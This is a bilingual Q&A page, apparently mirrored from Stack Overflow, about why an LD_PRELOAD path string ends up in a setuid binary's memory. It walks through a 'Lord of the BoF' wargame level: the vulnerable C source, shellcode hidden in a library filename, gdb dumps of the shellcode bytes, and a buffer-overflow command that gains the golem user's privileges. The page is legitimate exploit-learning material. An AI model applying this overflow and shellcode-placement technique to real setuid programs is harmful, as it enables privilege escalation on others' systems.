为什么在RedHat 6.2中将`LD_PRELOAD`中指定的字符串加载到setuid可执行文件的内存中? [英] Why is the string specified in `LD_PRELOAD` loaded on the memory of setuid executables in RedHat 6.2?
问题描述
首先,让我告诉您有关情况.
我正在解决名为 BoF之王的战争游戏的问题,该游戏基于 RedHat Linux 6.2 ,该游戏具有 no 地址空间布局随机化(ASLR), NX位, ASCII铠装等.并且gcc
在编译代码时不会产生任何虚拟效果.当我尝试解决名为golem
的问题时,我想知道一些事情.
First of all, let me tell you the context.
I'm solving problems of the wargame called The lord of the BoF, which is based on RedHat Linux 6.2, which has no address space layout randomization(ASLR), NX bit, ASCII armor, etc.. And the gcc
there does not make any dummy when it compiles code. When I was trying to solve the problem called golem
, I wondered something.
这是golem
的源代码.如您所见,它用0
填充了整个堆栈,除了main
的返回地址.
This is the source code of the golem
. As you can see, it fills the entire stack with 0
, except for the return address of main
.
login: skeleton
Password:
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ bash2
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ ls
golem golem.c
[skeleton@localhost skeleton]$ cat golem.c
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
golem
是带有 setuid 的可执行文件.
The golem
is an executable with setuid.
[skeleton@localhost skeleton]$ ls -l .
total 16
-rwsr-sr-x 1 golem golem 12199 Mar 2 2010 golem
-rw-r--r-- 1 root root 539 Mar 29 2010 golem.c
我制作了一个空的共享库,其名称包含shellcode,并使用文件的绝对路径设置了环境变量LD_PRELOAD
.
I made an empty shared library whose name contains shellcode, and set an environment variable LD_PRELOAD
with the file's absolute path.
[skeleton@localhost skeleton]$ echo "" > so.c
[skeleton@localhost skeleton]$ gcc so.c -fPIC -shared -o `python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`
[skeleton@localhost skeleton]$ export LD_PRELOAD=`pwd`/`python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`
然后我复制了golem
以便使用gdb
对其进行调试.我对其进行了调试,并在$ebp-1264
(0xbffff6b8
)处找到了字符串/home/skeleton/...(Shellcode)....so
.
Then I copied the golem
in order to debug it with gdb
. I debugged it, and I found the string /home/skeleton/...(Shellcode)....so
at $ebp-1264
(0xbffff6b8
).
[skeleton@localhost skeleton]$ cp ./golem /tmp/em
[skeleton@localhost skeleton]$ gdb -q /tmp/em
(gdb) b *main+3
Breakpoint 1 at 0x8048473
(gdb) r
Starting program: /tmp/em
Breakpoint 1, 0x8048473 in main ()
(gdb) x/50x $ebp-5000
0xbfffe820: 0x00000267 0x00000000 0x000003f0 0x000006db
...
(gdb)
0xbfffe8e8: 0x00000358 0x000003ac 0x0000058d 0x0000070d
...
(gdb)
0xbfffe9b0: 0x00000318 0x000006cb 0x000006e3 0x0000046b
...
(gdb)
0xbfffea78: 0x000004fa 0x00000570 0x000006b4 0x00000000
...
(gdb)
0xbfffeb40: 0x00000242 0x000006e7 0x000005a0 0x000005fa
...
(gdb)
0xbfffec08: 0x00000404 0x00000648 0x00000577 0x000002ec
...
(gdb)
0xbfffecd0: 0x00000000 0x00000000 0x000003a2 0x0000026c
...
(gdb)
0xbfffed98: 0x0000009c 0x000005fc 0x000001c2 0x00000563
...
(gdb)
0xbfffee60: 0x00000000 0x000004d9 0x000006c9 0x00000277
...
(gdb)
0xbfffef28: 0x000005f6 0x00000551 0x000000b6 0x00000000
...
(gdb)
0xbfffeff0: 0x000003a4 0x00000351 0x000006cd 0x000000b9
...
(gdb)
0xbffff0b8: 0x0000045f 0x000006dd 0x000004a6 0x00000000
...
(gdb)
0xbffff180: 0x000001c0 0x000005f1 0x00000457 0x00000712
...
(gdb)
0xbffff248: 0x0000070b 0x00000167 0x00000555 0x00000619
...
(gdb)
0xbffff310: 0x000004aa 0x000006be 0x000003ef 0x00000000
...
(gdb)
0xbffff3d8: 0x0000062e 0x00000569 0x00000000 0x000005a1
...
(gdb)
0xbffff4a0: 0xbfffe3cc 0xbfffe39c 0xbfffe414 0x00001000
...
(gdb)
0xbffff568: 0x40013c00 0x00000004 0x40014ba0 0x00000003
...
(gdb)
0xbffff630: 0x40013c00 0x4001a0d4 0x40010c9e 0x40000814
0xbffff640: 0x400138d4 0x40001402 0x400002f4 0x080482d0
0xbffff650: 0x080482d0 0xbffff69c 0x00000002 0x40023fd0
0xbffff660: 0x40013c00 0x4000ba15 0x40013868 0x40000814
0xbffff670: 0x400041b0 0x00000001 0xbffff684 0x40001528
0xbffff680: 0x000002c8 0x00000000 0x080482d0 0x00000000
0xbffff690: 0x00000001 0x40000824 0xbffff6a4 0x400075bb
0xbffff6a0: 0x40017000 0x00002fb2 0x40013868 0xbffff8e4
0xbffff6b0: 0x4000380e 0x400144d8 0x6d6f682f 0x6b732f65
0xbffff6c0: 0x74656c65 0x902f6e6f 0x90909090 0x90909090
0xbffff6d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6f0: 0x90909090 0x90909090
(gdb)
0xbffff6f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff708: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff718: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff728: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff738: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff748: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff758: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff768: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff778: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff788: 0x90909090 0x31909090 0x616850c0 0x68687361
0xbffff798: 0x6e696261 0x4e243480 0x04247480 0x2474804e
0xbffff7a8: 0xe3894e05 0xe1895350 0x0bb0d231 0x732e80cd
0xbffff7b8: 0x4000006f 0x40013868
(gdb) x/s 0xbffff6c8
0xbffff6c8: '\220' <repeats 199 times>, "1"...
(gdb) x/s 0xbffff6c7
0xbffff6c7: '\220' <repeats 200 times>...
(gdb) x/s 0xbffff6c7
0xbffff6c7: '\220' <repeats 200 times>...
(gdb)
0xbffff78f: "1�Phaashhabin\2004$N\200t$\004N\200t$\005N\211�PS\211�1Ұ\013�\200.so"
(gdb) q
The program is running. Exit anyway? (y or n) y
我用预期的shellcode地址改写了main
的返回地址,以便可以使用 setuid 执行shellcode,并且可以正常工作.
I overwrote the return address of the main
with the expected address of the shellcode so that the shellcode could be executed with the setuid, and it worked.
[skeleton@localhost skeleton]$ /tmp/em `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)
bash$ exit
exit
[skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
bash$ exit
exit
[skeleton@localhost skeleton]$ exit
...
问题
为什么在具有setuid
的可执行文件的内存中加载了在环境变量LD_PRELOAD
中指定的共享库文件的路径字符串? 我被告知LD_PRELOAD
不能与setuid
一起使用.
The question
Why was the shared library file's path string specified in an environment variable LD_PRELOAD
loaded on the memory of the executable that has setuid
? I was told that LD_PRELOAD
cannot be used with setuid
.
- 堆栈布局
- 带有setuid二进制文件的LD_PRELOAD
- 为什么LD_PRELOAD在堆栈上的值(OP在谈论相同的问题,
golem
,但与我要问的完全不同.)
- Stack layout
- LD_PRELOAD with setuid binary
- why is the value of LD_PRELOAD on the stack (The OP is talking about the same problem,
golem
, but it's quite differ from what I'm asking.)
推荐答案
在Linux上,所有环境变量都可以通过main()
的第三个特殊参数(通常称为envp
)在程序中看到:
On Linux, all environment variables are visible to a program via a special third argument to main()
traditionally called envp
: http://crasseux.com/books/ctutorial/Environment-variables.html
如果envp
是main()
签名的一部分,它将指向包含所有环境变量的数组.即使不是,也可以在程序的地址空间中保留该数组.
If envp
is part of your main()
signature, it will point to an array containing all the environment variables. Even if it's not, it makes sense that the array might still exist in your program's address space.
这都不表示加载程序实际上在任何特定情况下都遵守LD_PRELOAD
-可以随意忽略它,例如在setuid
下,但该变量仍然存在.
None of this means that the loader actually respects LD_PRELOAD
in any specific scenario--it is free to ignore it, e.g. under setuid
, but the variable will still exist.
这篇关于为什么在RedHat 6.2中将`LD_PRELOAD`中指定的字符串加载到setuid可执行文件的内存中?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!